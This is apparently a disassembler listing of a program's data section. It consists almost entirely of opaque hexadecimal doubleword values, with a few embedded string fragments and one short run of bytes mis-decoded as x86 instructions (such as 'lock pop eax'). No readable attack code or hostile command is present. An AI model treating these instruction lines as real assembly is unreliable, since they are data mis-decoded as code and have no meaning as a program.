dd 0B8747C25h, 8140BC00h, 1815FF0Ah, 0D7650460h, 80011489h
dd 54BF84FBh, 52DCB31Fh, 911C21C0h, 90022375h, 850800B5h
dd 943274C9h, 1800037Ch, 22C88950h, 672042h, 0DA197559h
dd 0F9D8E924h, 3A50577Eh, 3201528Fh, 0D0061065h, 45DCA6D7h
dd 983D00E7h, 0AF0E026h, 0AA00040Dh, 5A03AFB0h, 0D105FFh
dd 0ED808A48h, 0B79BE40h, 4677E800h, 7AF68B81h, 0E9100008h
dd 0CB0126C3h, 0C903C8CCh, 0CDD0CFD7h, 0D8DB80CEh, 0DAD900CAh
dd 0EDEDDDCh, 0E100E0DFh, 0E5E405E3h, 505890h, 2EA85152h
dd 0C584B883h, 5ABC3Eh, 0C031B244h, 154C966h, 428F1E50h
dd 0DD105180h, 8BD2F80Fh, 110388F8h, 6905489h, 1F91D0C8h
dd 0C65F00CBh, 3916D7D8h, 770009F7h, 602F7413h, 2A7829h
dd 0F8A5F33Fh, 3E1831Dh, 18A4D207h, 0E177431h, 7C3AFC30h
dd 1950000Fh, 1AFD5311h, 6600CB58h, 6941C706h, 728143FCh
dd 4C4000Ch, 5086092Fh, 0EB391290h, 8A0FFF01h, 0E0D14003h
dd 0F576203Ch, 3B800007h, 530B7522h, 0CE2017Bh, 0C50558h
dd 34E6EB02h, 4FE255Fh, 1B1CC7FAh, 88508043h
; ---------------------------------------------------------------------------
adc al, 4
pop es
loc_4F8A1B: ; CODE XREF: .data:004F7A9Cj
bound eax, [eax+56h]
adc eax, [ecx+esi*4-27F222DFh]
lock pop eax
db 2Eh
retn
; ---------------------------------------------------------------------------
db 0D2h, 0ACh, 0
dd 8028D818h, 9C7F3D07h, 0CD7C8B00h, 20CE5F61h, 42B700F5h
dd 14D66A27h, 800EE25h, 0C2F81CCBh, 788977h, 681E34E0h
dd 2C0B055Dh, 92148D03h, 0C022B050h, 0C88B88h, 3AC677CAh
dd 0EE1EEB8Eh, 3513F300h, 0DD3DB55Bh, 0B460216h, 0F4E4D268h
dd 4B0F5040h, 0D5E9EB0Fh, 0CA63209Eh, 1DAF5CE0h, 40F2E80Eh
dd 73410C72h, 0B7E00F67h, 6BF04500h, 3663CC0h, 0D2F23EEEh
dd 40401E9Ch, 1F4558Bh, 0F60169D0h, 178A38E8h, 0E0DE1964h
dd 483C0533h, 0E500384Bh, 8378825Dh, 0DF0108ECh, 589B8EC0h
dd 6CC85A5Fh, 5B0C001Eh, 2DA31BD9h, 0FD0092A4h, 33285CDFh
dd 13FA2C16h, 1CA959h, 0AB81C735h, 0D90F078Ah, 67A2BBD6h
dd 0D0009816h, 381272h, 0E7F77C8h, 88AAD160h, 1470700h
dd 0DE7AD748h, 2AC80481h, 80F7760Fh, 0E80CEB87h, 0C949B500h
dd 0A668A64h, 62410068h, 0C131A990h, 0E01F94E9h, 55C02203h
dd 51082027h, 0F6CE0BF4h, 0B40013EEh, 80A61C26h, 0D9391A03h
dd 0F84E4575h, 23DB815h, 5A73E1B0h, 92801BCBh, 0C21CE5DBh
dd 454EDE00h, 0D606EBE2h, 3A1672E6h, 0F0FE5Eh, 8A367403h
dd 750A3A08h, 54306700h, 1489313h, 9F4A00D3h, 401625B6h
dd 83780208h, 311AB200h, 0B3B9D7D4h, 107A0138h, 0CF3FDA3h
dd 80FAB93Dh, 21D64EBh, 903119h, 0CD88BB51h, 10E08650h
dd 0CD46600h, 83184CB2h, 0ABF33B09h, 86311200h, 24405FAAh
dd 0F156900h, 8840541h, 89B202C7h, 0E2F70BA2h, 0B04C3AE0h
dd 1452480Eh, 0CF26403Eh, 99036Fh, 9229D031h, 0F2FB5AB9h
dd 190DB00h, 96F1F728h, 0F8300048h, 0C7431C17h, 8003BE03h
dd 0C6057DF6h, 0FA2DE804h, 1F170088h, 0F9018B47h, 0FFE68114h
dd 844F852Eh, 2307B90Eh, 7B97D929h, 0B0A3000Ah, 8AD20F20h
dd 12001C44h, 754B2B42h, 0AD41F6h, 51B82318h, 0E9968F82h
dd 2F9CB300h, 0CC2CAC33h, 94CE1D50h, 0C6634773h, 20190BFh
dd 1E018A0Ch, 70FB8046h, 0B5CCF8D7h, 2D0E03CEh, 2B0A69ECh
dd 248166D0h, 0FE78080Eh, 0FD58C061h, 0F30025Ch, 28ACCBE2h
dd 26844FE1h, 623CC4Ah, 4EB2000h, 0EE347F0Dh, 24C02630h
dd 392C0093h, 3F28E8F8h, 1C048D0Fh, 0D89BC001h, 1340555h
dd 0CDFEE675h, 0F8D4E486h, 5905127Ch, 3289F631h, 90461780h
dd 7703486Ah, 78F07E00h, 0DE29D9EEh, 0FE00EC71h, 0E451C56Eh
dd 48ACBFBCh, 32008E1Fh, 92DF7430h, 3007261h, 5420A2CAh
dd 0EA0B7643h, 1F110010h, 4CD07705h, 0BF010AC3h, 565A90C9h
dd 0D5C05D04h, 1A97DEBh, 0FAFFB150h, 0C0427D2Ah, 70074EDh
dd 0FE288840h, 7512C9h, 3C1E5AF2h, 6C430253h, 7301FA00h
dd 90517497h, 8B440035h, 0ECF85442h, 52005D36h, 195A8C68h
dd 0FE570926h, 0EB84Ah, 0FF1250A9h, 0D32BF03h, 1B48AC04h
dd 35C0C69Fh, 0BFC5C14h, 8C7C3D74h, 4C08F000h, 2F00B859h
dd 8304D250h, 2E01F835h, 0CD290Eh, 900B1B22h, 0AC0325FFh
dd 338B4C79h, 6350E0DBh, 50C741Ah, 1C753E07h, 701D802Ah
dd 91009225h, 0D41A1B0h, 3F29845h, 161F4C22h, 0A09801B3h
dd 0F4004028h, 57037B0h, 0B847604Fh, 8D736Fh, 6A6250FCh
dd 0F6386886h, 653A652Eh, 6BE84700h, 378323Fh, 5511E04Dh
dd 2DA06168h, 3000FF64h, 1B2089CCh, 0F445C7h, 0EE608691h
dd 0F808CB50h, 69C52C00h, 0AC8B8954h, 34E683h, 8AEAA267h
dd 63C41618h, 0E0985200h, 0A16628EFh, 25EC0071h, 97FFC02Ch
dd 8700F89Fh, 0C33FE283h, 0EFBC20Bh, 9C2A59A3h, 4F53003Ch
dd 41575446h, 450052E0h, 726F425Ch, 4C3C616Ch, 44003C6Eh
dd 6870C765h, 5200F169h, 46C04C54h, 550350h, 6B73614Dh
dd 756CA056h, 94653Dh, 2AE3C38Bh, 12C3AB7h, 60D7C7ACh
dd 2031D470h, 0E1D8A20h, 0AE408D41h, 93AECFAh, 3FE800D8h
dd 58C2F748h, 1BEAE913h, 0DE747703h, 90751ED3h, 77BBC36h
dd 0DC4A76FAh, 0E8075001h, 0AE1E2D37h, 0F6479C45h, 0BE50E975h
dd 0C6C831h, 0A46B5C54h, 49AC08F3h, 0D3009AB0h, 3C0C141Ch
dd 2B980Fh, 8F64121Dh, 92780551h, 0E03E307Eh, 19A2004Ah
dd 2379DDD0h, 0C5942E96h, 0B2DA043Fh, 51318001h, 6C034BFCh
dd 0ABD7CB02h, 41D8B88Bh, 120FADAh, 65580DDBh, 0E859247Ah
dd 63020E6Bh, 0B82CE24Ch, 1C1E096h, 5B0D0351h, 706731FEh
dd 0EBD81BC3h, 0D47539EDh, 8DE1D2Eh, 1C006F2Eh, 3EA6734Ch
dd 6BE00F6h, 0C827B2Ch, 207F3834h, 75493700h, 0A8E3453Bh
dd 0C9D90154h, 3981DB10h, 1A9AECD0h, 407578F4h, 4BC3F300h
dd 57A821B0h, 596A0093h, 38D0684Ch, 0D1C247Dh, 510039D3h
dd 6602C783h, 0F8AF00F2h, 6459550Ah, 0C3007F8Bh, 290B0358h
dd 35CF0C8h, 96F7FC47h, 44C0B891h, 1126D480h, 2401303Ch
dd 1A1C8F53h, 0F69009E8h, 0A5F0217h, 1886C0DEh, 67E8E740h
dd 58FCA912h, 0D905A300h, 0E1FF5Bh, 0A5089F0Eh, 0E802F061h
dd 53515200h, 818FF689h, 0F4500084h, 1058E012h, 6E7E6463h
dd 69911900h, 60F57108h, 0DF2D000Fh, 0CA43B8Eh, 0A0002FBh
dd 405A595Bh, 91E3FF0h, 2C45FC9Eh, 90C1300h, 22000E74h
dd 4950811Dh, 23581Eh, 47257531h, 8BF09821h, 0FF131000h
dd 2895F852h, 0E4090007h, 7FBAAC58h, 0EF00D4A3h, 0E8060EAAh
dd 0E0759Dh, 43D8012h, 7601E141h, 0C26A1000h, 0DF056B66h
dd 4FED48FAh, 359C1200h, 0C11C24CCh, 0F516DB2Ch, 6A546200h
dd 3423D02h, 0A30C92E4h, 99D99808h, 147670D1h, 0A04A200h
dd 0F09C550h, 0E573008Ch, 8B547FE9h, 77EA064h, 12A45300h
dd 0C9967C9Eh, 418900F0h, 39800103h, 8A983DE9h, 75EB0A02h
dd 60BE0F0Ch, 0F898F25h, 539A650h, 647CD7E0h, 0E4001C68h
dd 6BDDBBE1h, 0EF106EA9h, 8A2F30h, 50280A5Ah, 20A45211h
dd 8DE2421Eh, 76ABF0C2h, 0BF46E01Eh, 53E31E88h, 0D31C4148h
dd 0ECF72683h, 8A00DA39h, 12850F16h, 1D814543h, 400EDE38h
dd 6018508Bh, 74001448h, 0E816FC6Eh, 0A41B5Fh, 0A29E0C4Eh
dd 840FD283h, 512EF000h, 14B216FFh, 8B2507E6h, 45BC5E9h
dd 0CE898094h, 1A00EFFAh, 5A37740Eh, 3FE0A5ACh, 76808B08h
dd 163B2729h, 0B4002077h, 0C2A15051h, 1365AEB3h, 0EE2439h
dd 0A2BAAEBh, 0CAEE7B30h, 0FBE20C00h, 3B920BBAh, 1EAB1D85h
dd 50154061h, 828C638h, 59EFFE00h, 74F1513Dh, 48E0006Fh
dd 53020B04h, 0E202DB31h, 1B1A614Eh, 0A54161E6h, 0FA1EBB60h
dd 5468005Fh, 0D348D12Fh, 0E8909B29h, 79247C00h, 0B0FF0EE7h
dd 286D0014h, 8B2606A0h, 300D56Fh, 47C7045Fh, 512D9Fh
dd 5760F931h, 0E3FF88A7h, 0AD36B907h, 50806F19h, 0E891127h
dd 4108A890h, 0EBE92A40h, 0B8005EFEh, 2C8A51D4h, 4586EC8h
dd 26911F74h, 52B28044h, 75001801h, 0EAE90A1Ah, 9E62B9h
dd 2C444D42h, 2189084Eh, 67017F70h, 718D0559h, 0C5EC3D09h
dd 0B50600A6h, 0EF16439Eh, 3F005A4Bh, 84F87424h, 48041h
dd 0E64F3BD8h, 64176775h, 57B5D41Ch, 9CE269C0h, 189093Eh
dd 610BE842h, 0C48C74CEh, 695CDC7Fh, 0D075002Ch, 4B08C683h
dd 0F2C000B2h, 0A161A486h, 26031499h, 0FF41C4B8h, 0E992F88Dh
dd 946D0E1Ch, 2BEE5923h, 449E21A0h, 27482214h, 6CF11E42h
dd 0F238689h, 56986136h, 0A3E88844h, 1E5BEA30h, 8F92899Ah
dd 8D20CF86h, 93E8EC53h, 9879105h, 0C4E00463h, 87BE1h
dd 2480A48Ch, 42C78F54h
dd 31288500h, 8BDFA3ECh, 2208306Ah, 5684DBDEh, 2489D100h
dd 28603949h, 54050F5Ah, 53A05755h, 9507C888h, 444E4200h
dd 52E9F62Fh, 8654008Bh, 6AA0C730h, 83018897h, 0A427BEAh
dd 0D471B089h, 60EC7931h, 39FD0004h, 1EA80DF0h, 9200A4B5h
dd 0C9C543EAh, 3BCC031h, 1C0648DFh, 12D85910h, 28001189h
dd 49A78D6Fh, 473A6Ah, 0C664955Ah, 0C49674B6h, 5442E00h
dd 0D103E85Dh, 0E2FF00C7h, 4D588038h, 1500CD5Eh, 5034C056h
dd 0C2BE02h, 4AB80C52h, 3F1FFC5h, 3854491Ch, 86E97282h
dd 92836048h, 0C0070020h, 5C742C7Fh, 0F018E95h, 57221509h
dd 20C8052Dh, 0BF8700DDh, 483D1ECFh, 0EB3F4E80h, 84713060h
dd 83073Fh, 369429E8h, 52E130E7h, 43963D00h, 3814112Ah
dd 93762Dh, 13462E33h, 0EB24060Fh, 0FDEA3A1Dh, 502F18C0h
dd 77E968Ch, 0B02C1D26h, 1E2A40C8h, 781C3DC9h, 229DCD7Ch
dd 6567CF0Fh, 87C71A21h, 0CE471627h, 0D8871267h, 0DAC70EA7h
dd 0D9E70AE7h, 0CAC406E0h, 16272EFCh, 8D900536h, 808E1D8Bh
dd 6C01E3E8h, 400C25Dh, 0F3942467h, 402993h, 2690F1FAh
dd 7074503Dh, 0CE00A27Bh, 99CB9238h, 1D90836h, 72F65232h
dd 0EC3B8189h, 300053D0h, 1817438Fh, 12381D74h, 0BCFB82h
dd 0B1D889ABh, 0B600EF84h, 4BFA4419h, 74E1Fh, 46A3120Dh
dd 945C3749h, 0D9B8850Fh, 14510204h, 6DBB878Ah, 124F60F0h
dd 0AA090752h, 505B290Ah, 94ED2677h, 68F6E300h, 0A005F8F5h
dd 0D81A01B5h, 0BAC804Ah, 0C8B63047h, 38657502h, 0C02E536Ch
dd 7F9836Eh, 39A174FFh, 9DF5F001h, 0A4008922h, 68A2E984h
dd 0D49CBFh, 3E434B93h, 57E148C2h, 70E80C00h, 0E9A79504h
dd 505800BEh, 7E1DDB85h, 0F0004B12h, 4DE4433h, 9749D4h
dd 7F24D031h, 0C4BA3DEEh, 0B214EB00h, 73E809BDh, 0A96C0023h
dd 0B4DF9A3h, 3CFE5F3Eh, 0A1856000h, 0CFDFE8A4h, 30C3034Bh
dd 78A2DB33h, 341E5E90h, 3B121400h, 1A057EF3h, 0C1DF0004h
dd 49A81D3Eh, 28EEB127h, 4AEC7F00h, 1151E360h, 9CBE00BAh
dd 0C47D8D04h, 0A790E9B9h, 8FA5F301h, 2164BC05h, 1429B20h
dd 10B02D89h, 0EF84B41Dh, 1508A4F8h, 8D87AC00h, 0DF5C44Dh
dd 9377D17h, 0FC7D8397h, 35B5A100h, 6792008h, 0C92BE803h
dd 880C45FAh, 1CC0A240h, 4359481Dh, 0C4151BB8h, 0FF03E990h
dd 2F967100h, 2836156h, 417E1D05h, 3D2580EEh, 7594C81Ch
dd 0C6180D1Fh, 1132481h, 26F95AD9h, 4CBB20h, 0CB222C48h
dd 95D3E834h, 0A345C501h, 18247444h, 3C9F30h, 160646B2h
dd 6B202778h, 0F5B93805h, 2080EE93h, 14E1C3Ch, 124A892h
dd 0E832A9C8h, 0EC0E040Ch, 0C1D210ACh, 0BBBF30C7h, 0E6803CB9h
dd 115ABE5Ch, 13001280h, 0F294834Bh, 383C22h, 334AE877h
dd 30BB354h, 0D0299200h, 595C44BBh, 1B98FFh, 0E68A0FE2h
dd 57C01750h, 63E8C102h, 80B4ED9Ah, 46EA32E3h, 23F011h
dd 77FF0C1Dh, 0F820061Ch, 3E933700h, 5D2656A4h, 73870015h
dd 19D8F70Fh, 0C9074045h, 32BBB684h, 3885609Eh, 1806BEh
dd 250B34BFh, 0CE587B80h, 83161C0Fh, 0BEE0203Fh, 5F8917h
dd 6F3787D0h, 0FBC2E803h, 75231200h, 381A08EFh, 47743E40h
dd 25581383h, 0EC88A34h, 0BA001685h, 0B88C4228h, 1FA27214h
dd 803E8FAFh, 0EB0B12ACh, 0CF01C62h, 75226000h, 6ECF7013h
dd 0B4150048h, 0E186926h, 0F212163Eh, 0D60029ADh, 0A750204h
dd 0F64C28BEh, 268907FEh, 0F0080C43h, 7622012Bh, 503EB2F8h
dd 0AA18005Fh, 6DFBE8C0h, 192E1F37h, 3B0079FDh, 587404CCh
dd 22007F06h, 0A64BEAEBh, 75482Dh, 285314C2h, 0C01292B7h
dd 980D1500h, 0A03B831Ah, 66F0041h, 8BCBC660h, 560003C1h
dd 0FB6C097Bh, 7A5E0438h, 508C00EBh, 6974726Fh, 73036EA0h
dd 3D437920h, 3FFAA070h, 7A680067h, 2963281Fh, 39003181h
dd 0D32C3338h, 1CCCBAFh, 3718B76Dh, 60918990h, 9707E9FBh
dd 238FF5ADh, 0B75C7C90h, 8B8400E3h, 1C2ED110h, 5138C2C7h
dd 0F84A072Dh, 0F0D07C49h, 0EFF6Ah, 8D5007CBh, 57E8D242h
dd 6B0068F8h, 60C47858h, 2C8BD618h, 275513h, 0EC80342h
dd 29E40865h, 4EEAB000h, 6CA3DAFCh, 24510030h, 1A7F4145h
dd 1700F5B4h, 93750542h, 0FAFE227h, 13481864h, 0F65A00DFh
dd 0B78C97EBh, 0A1876E00h, 4C4B147Ch, 21440095h, 2A7E150Ah
dd 203B3BF9h, 501C0054h, 95F8375h, 10180026h, 895A081Fh
dd 6FF4FC97h, 1768F803h, 0F86B04C6h, 38BA546h, 25C0E390h
dd 0F8E1C1D6h, 0FEF9E458h, 96BCC700h, 7A980914h, 95F00053h
dd 3277E45Ch, 0F0026CFh, 0EC96573Bh, 0F38597h, 0D9F1D3F8h
dd 0B35EEAF2h, 97F8F00h, 8223C74Ah, 816700EBh, 8B7854FBh
dd 64002C7Dh, 9708E0BEh, 40CFC90h, 55532850h, 7B40C010h
dd 0A90086F1h, 0D7E27B8h, 0C70441h, 323ACEE9h, 0ECD93306h
dd 6098B57Bh, 0C5204401h, 16225498h, 293160h, 80CA4607h
dd 0C09CB8B4h, 89145200h, 95D1B9E2h, 175B032Ch, 41151268h
dd 3A522198h, 83D50A3Dh, 1945132Fh, 0FD02C0E2h, 0E03E60Bh
dd 695E3A62h, 0ECE8EB01h, 1CF1306Ah, 295AD100h, 2712E5E4h
dd 41240065h, 66522D30h, 620C9B3Bh, 70340A20h, 82C30E0Dh
dd 6AF280Eh, 0EB081941h, 496892E4h, 763A8A00h, 7621D725h
dd 3C901FC2h, 4252C38Ah, 57C0014Ah, 891D5150h, 0F20720D7h
dd 3B0AE5Ch, 158D1F7h, 5F9AC101h, 70A41992h, 0CB03ACB0h
dd 0EA0F7061h, 0F234D8FEh, 8B770103h, 35C9FC7Bh, 0DC8E43Fh
dd 0E2840F00h, 8A2734FDh, 798B000Eh, 85B97EFCh, 391EFA01h
dd 77EC02CEh, 7A4A2C00h, 4E0E41h, 2413269Ah, 0F5A48F46h
dd 6217AA00h, 83AB42F7h, 0AF3D07D0h, 91618828h, 213BA044h
dd 517460AFh, 68BC0800h, 0F9233450h, 0E94F00C0h, 0ED42933h
dd 0D3003958h, 250CE16h, 3FC5Fh, 49756E46h, 0D809DFC7h
dd 0B34B8B00h, 0A2FAF277h, 53030063h, 0A5580F91h, 5C004320h
dd 0F84F33F7h, 48A48CFEh, 0CA000271h, 0E6A0BE9h, 5400AE51h
dd 0A650528Dh, 8BED40h, 104F944Ch, 41112FD7h, 714AFC00h
dd 305A56CFh, 8BC60007h, 6F149C44h, 0B800F5D3h, 5501D834h
dd 0D054CEh, 7E2AE975h, 0ACC8EF82h, 5AC44A00h, 248D5801h
dd 0E0FD0094h, 3E6CD92Ah, 3900F145h, 8FC709D0h, 3EA5CB29h
dd 8200687Fh, 0AE1C8B6Bh, 0C05857DCh, 277007Ch, 5213C201h
dd 0B4EA00C1h, 1FE40E4Fh, 4A145888h, 2C954E89h, 4003A310h
dd 0E0E6C7C6h, 7F786h, 0FE5A6FBEh, 2C2250E0h, 41813800h
dd 34761702h, 0E3A1E18h, 0E3678410h, 0CA7DC0B8h, 300006E1h
dd 0C0012773h, 7F23EB2Ah, 0D4FA61h, 151307D6h, 0CF62B25Ah
dd 0A4D0E301h, 2A590ACh, 1F850D8h, 0B078C442h, 60119743h
dd 8001DB44h, 0FB3AF9B8h, 2822C77h, 0FA34A86h, 390225D0h
dd 13A424DBh, 9D4AC190h, 0C51FD868h, 80CC1EE7h, 36D0895Bh
dd 7E008BF8h, 0FC58252Dh, 70261BC0h, 27C754Ah, 1F7DDA39h
dd 5068D329h, 9E000519h, 0F416117Fh, 6394C9h, 313A7D25h
dd 89E50AD2h, 2A93D900h, 126CB113h, 9ED50F5Bh, 1FF6BC8Bh
dd 0C0575F87h, 0FC304086h, 7C004E3Fh, 7D123D4Ch, 430126h
dd 0F129227Eh, 2D9CFE9h, 3F42BC3Eh, 8DF200F9h, 7F4D3A04h
dd 52FB0724h, 10FAF0A1h, 0DF4C4762h, 4087A900h, 70317992h
dd 4F8B0088h, 8334F1FCh
dd 7803044Ah, 46068A1Bh, 147ED9C1h, 10D5F4h, 3BCB8937h
dd 15A6F3C3h, 0C746000h, 5AEC128Ah, 57FF051Dh, 0C0415E08h
dd 273AF875h, 6A985100h, 0FF314390h, 489B0028h, 23AFC2FCh
dd 0E0007883h, 0EC1D756Fh, 0F92A09E8h, 1C87A1FBh, 0A5F884F5h
dd 8B75003Ah, 701A40EEh, 0AE0790FCh, 28DC3050h, 949B0C60h
dd 0C93207AAh, 0B021FAD2h, 477CF139h, 9D4BB600h, 4502C80h
dd 0B86F75E9h, 0D43400B4h, 455DB2CAh, 0C81D30DBh, 0F31EF729h
dd 593D4080h, 0DA8906h, 1347E95Bh, 9C36C34Ah, 83A8B83Fh
dd 1E0EC81h, 0E2FAE0A3h, 41B5007Ch, 903C37E8h, 7900F01Dh
dd 7D28F320h, 1F240A80h, 403175FFh, 856AE3DBh, 1F07AE15h
dd 0C45B1C59h, 0AAF8C910h, 504D0322h, 0F5743158h, 0B586C194h
dd 0C066F932h, 87FB0E4Bh, 0CE4652CAh, 10584960h, 0D1350096h
dd 590CD722h, 50009A20h, 32125B3Bh, 0EC8814h, 8A532E44h
dd 4F3924A8h, 6113B300h, 897C620Eh, 4CE21D06h, 5A94075h
dd 0FF0912A3h, 6DE42E00h, 0EC7F4F14h, 0FE52039Eh, 0E0F94B7Ch
dd 2089DDC1h, 0D600FAEDh, 0E506ADA0h, 8001F4h, 7BBFF85Ch
dd 0A80B0ACEh, 0C1E4600h, 0D3F5890h, 7F6200A0h, 0F7B400Eh
dd 881266C8h, 0D80012B2h, 5893598Eh, 0CF22F66Fh, 7FC0012Ah
dd 0E9D6980Ah, 0DBD24503h, 0F0F35214h, 78EB19h, 30071A91h
dd 1DCC2C58h, 1A86A58h, 0D4612D44h, 10F0BB28h, 433E4C0h
dd 0FEF39450h, 89A0C052h, 54008BD5h, 2C8E0A2Eh, 0CB5C03h
dd 4A0D8F02h, 638AB406h, 241D2D0Fh, 351940E8h, 771A493Dh
dd 37FD0171h, 5DF01650h, 431ED4EBh, 0E8730400h, 0F243846h
dd 0F2940077h, 54A97D11h, 9D0049F1h, 0D1285C61h, 984AE98Ah
dd 70B31F84h, 0DA48C08Eh, 0C6087544h, 7761C400h, 0E57F9C8h
dd 708E075Bh, 306A2D4Bh, 463A7620h, 0CD25F50Fh, 554F409Ch
dd 7740561Ah, 287A7E59h, 5DFD6D0h, 1C2F89DBh, 41918024h
dd 14039BCCh, 0CE920BFAh, 5749A8D0h, 0D45D003Eh, 0D8CCB056h
dd 4B002B31h, 22CF2529h, 9B3D09h, 0AA1DD5AEh, 5098BEE1h
dd 0EF335600h, 48CD832Ah, 0BD5B0971h, 5F80325Fh, 84F85A85h
dd 0FDB21C00h, 0A81E532Bh, 0BF3100AFh, 0D21D1499h, 0F802BB85h
dd 19385755h, 606FC2C7h, 0BD0FDCh, 10C2731Bh, 23DE0892h
dd 0F77993F2h, 765E938h, 0FA832875h, 0E0EE72E7h, 26BD9981h
dd 10372EB4h, 190E3DF6h, 73E02A56h, 27C7661Ch, 0E9289102h
dd 0E0485E25h, 8BA18Ah, 0E4D414A3h, 88909DA4h, 64836602h
dd 0C02A8038h, 1818764h, 5F3E868Dh, 4084F742h, 0EB2720CEh
dd 51FF100Ch, 419FC15h, 0C3A78AAEh, 6071805Ah, 7304123Ah
dd 0DB77B111h, 0E78611C5h, 0C41007Ah, 7099C3CDh, 14057F3Ah
dd 757E0FB1h, 301D7980h, 8F580002h, 72BD0486h, 1300C6A8h
dd 0E5DA0908h, 0FE4C8A52h, 1E507A0Ah, 0BF6493C3h, 981AB80h
dd 1C850FC0h, 96883900h, 0F02FE0A2h, 0FC021DE4h, 2D51407Dh
dd 0A9104B9h, 31345901h, 458D12D8h, 0E7B0BF8h, 558F6833h
dd 40DC2D60h, 0D476D84Eh, 0E43E4A98h, 9C9294F2h, 2C3503F1h
dd 88E3CCA8h, 1385150h, 0CBD48A23h, 7056B2CFh, 6B00B387h
dd 0B5657C25h, 797B1D83h, 62CD005Ah, 0F926845Bh, 7014923h
dd 2D350371h, 27DCE24Fh, 53C800FFh, 2C30EB4Ch, 0CF02D1D6h
dd 0FE8AE7E8h, 0CA82E095h, 0C0756Dh, 0C336835h, 0ACDD5634h
dd 1209200h, 5482ABAh, 2F2200FDh, 9B511998h, 32008C07h
dd 0F80A0389h, 0E6443EAh, 2FC0C08h, 9A34EB60h, 7D008F4Ah
dd 0D15727AAh, 3515C18h, 2B4EAD53h, 28BBA5BEh, 44959C88h
dd 8A971202h, 0C03BFD01h, 72EE3D6h, 0D266E56Ch, 57A5C7A3h
dd 9794F008h, 0D800E0C3h, 7E85109h, 7C5BA2Fh, 6962279Ah
dd 763AC05Fh, 6D01EE74h, 8BDE9C53h, 0D9C187EFh, 3D8E230h
dd 82DF0D75h, 0A0A4E84Ch, 3203E259h, 0A4133D59h, 305A875h
dd 210801FBh, 0A31D319h, 0F7D5C048h, 22135500h, 4271109Dh
dd 949600B4h, 93CBE658h, 0E77BC295h, 2F9B3000h, 0BF4B2D87h
dd 5EC00034h, 0D383D4CCh, 2177F869h, 0A3110A00h, 63579D5Ch
dd 0B9510079h, 914C4DB0h, 0F600D6CEh, 6A65AF5Bh, 1E46728Ch
dd 43B99944h, 0A58B7D89h, 0EF9C13C0h, 0EC830600h, 0FB8D810h
dd 78207B96h, 90100B9h, 6531F3E8h, 2B0F27B6h, 6FAA56B0h
dd 2499E0C4h, 595350h, 448CDD58h, 70FF1B1Ah, 0C4060C00h
dd 33B8040Dh, 891200D9h, 5B3936E2h, 551F2CA2h, 807AE011h
dd 0AD05D354h, 91F849h, 6CC88925h, 0A34A2471h, 0A540400h
dd 3870B506h, 47640027h, 3B74A607h, 8D000583h, 85E1D11Bh
dd 188A910h, 6AE48661h, 0C0953F1Ch, 0C8002C97h, 6B7C818Fh
dd 0A5FA10h, 0E8067525h, 6602EBEDh, 1C453303h, 0F115FC51h
dd 0CDF86010h, 77190074h, 7204583Bh, 8010A67h, 0C0705A4h
dd 0F5E0C975h, 0B0360084h, 0EEE7F432h, 0F0095EBh, 8A129166h
dd 19A810h, 0EF755CC2h, 6FB8F844h, 64B05B00h, 0C94BC4B3h
dd 0A3300034h, 9D747A68h, 130F6A82h, 871B7501h, 84D0C3EFh
dd 7A88214Ch, 53CF022h, 9D7D83F4h, 5598C0C2h, 85001018h
dd 5077CDB1h, 0F6B9D36Dh, 0A43400F4h, 8C12A515h, 450043E8h
dd 356536E9h, 371C8Dh, 3ADC3880h, 1780F08h, 0E0EEEDFDh
dd 700015D5h, 0E814025Bh, 6633D7h, 823B8013h, 8D26EA0Fh
dd 0A76A3Dh, 0B747C53Dh, 565DD6h, 0F96C34Ch, 2752BF3h
dd 1468D0Fh, 6268C0AAh, 844BE8h, 39554C64h, 0C749F8CEh
dd 936F400h, 1F8203D0h, 90FA0081h, 618F0FA4h, 40488B92h
dd 3348002Eh, 35C65203h, 0B61C0765h, 0C75CC3E1h, 744450E3h
dd 0C274DEC7h, 0E9856703h, 0A88921DBh, 72047E2h, 3A2CD4CFh
dd 0C203E056h, 4EE03D40h, 0C6487F00h, 33A13584h, 43A9035Ch
dd 40AC4C41h, 37A7F090h, 3030976h, 20DF7285h, 0FF5FA8C7h
dd 2A0200D2h, 590B5D1Ah, 6B0EC1CCh, 0C06E7265h, 321D336Ch
dd 7B643C2Eh, 920FF594h, 6F673C70h, 61500073h, 4E7468EEh
dd 51006D7Dh, 0A8231441h, 0FFEE010h, 71A75292h, 40FFE3CEh
dd 0C68F60ABh, 0E100EE45h, 68D9467Bh, 24BDE03Fh, 87DC91h
dd 10F801C5h, 1E3974B1h, 7023004Eh, 0C47275E2h, 64210052h
dd 71014B46h, 361D0EE8h, 6000C7B1h, 92B2A5C3h, 6F903FD4h
dd 6400EB3Bh, 967AC5ABh, 58007352h, 784B1A37h, 906850h
dd 0FC3DB3DAh, 466BF053h, 0BF16A60Fh, 0C793001Eh, 0E892AB34h
dd 6A230B43h, 0EC803305h, 2BEB038Ch, 261B6F0Ch, 0F61811h
dd 2113BD80h, 0BEAF0A48h, 0F37D9307h, 678EF90Ch, 9FE0CEEEh
dd 22D12h, 0BD486D23h, 3250E52h, 26783Ch, 2E2C754Bh, 0E8102904h
dd 0F09500C9h, 6D74820Ah, 3D008E43h, 0AF5115F6h, 755329h
dd 47AB021Ch, 0D6B63392h, 4613147Ah, 0C9004C69h, 89265B8Fh
dd 73041E20h, 0A92443F5h, 0E0DBC6C9h, 666F5380h, 61777400h
dd 0CA655F72h, 0DE48001Ch, 0FEF9633Fh, 0D83D9173h, 0FBEB802Bh
dd 6E232938h, 10BC1F13h, 0A1FA80A4h, 0F8357F14h, 38858700h
dd 0B5213912h, 0A4707CFh, 0E0242758h, 1322A654h, 0B1E2040Fh
dd 9BC2A088h, 6F6621h, 753958E7h, 0E5B6C74Eh, 0A6385C00h
dd 0BFA37756h, 3490009Bh, 0FDCF51D9h, 64031019h, 0B5ADA648h
dd 8FE8C0E0h, 0D3371F49h, 0FC863FA2h, 5205503Bh, 230C5100h
dd 0EB45A1C2h, 0E73E81Fh, 0BC34E8Bh, 553BC880h, 0E413B4FCh
dd 2E030A37h
dd 0E0068E4Fh, 48EAFA2Dh, 0C20FAD6Eh, 9A2C0A6h, 0CB41FCEEh
dd 0F13DCCE3h, 80047B38h, 2A7D3E81h, 0AB15A68h, 998438Bh
dd 0B3E803EAh, 50727B99h, 6F0CBC00h, 0F3F4120Ah, 0E87F47Ch
dd 0CDE31328h, 0C0A7C845h, 89582A2h, 3C00F178h, 0AC042512h
dd 48E09378h, 1000B62Ah, 8D520C06h, 4A000EBAh, 214BC22h
dd 2993E8h, 0E6A2D272h, 11C98E7Dh, 6DF81F00h, 1DF1F35Eh
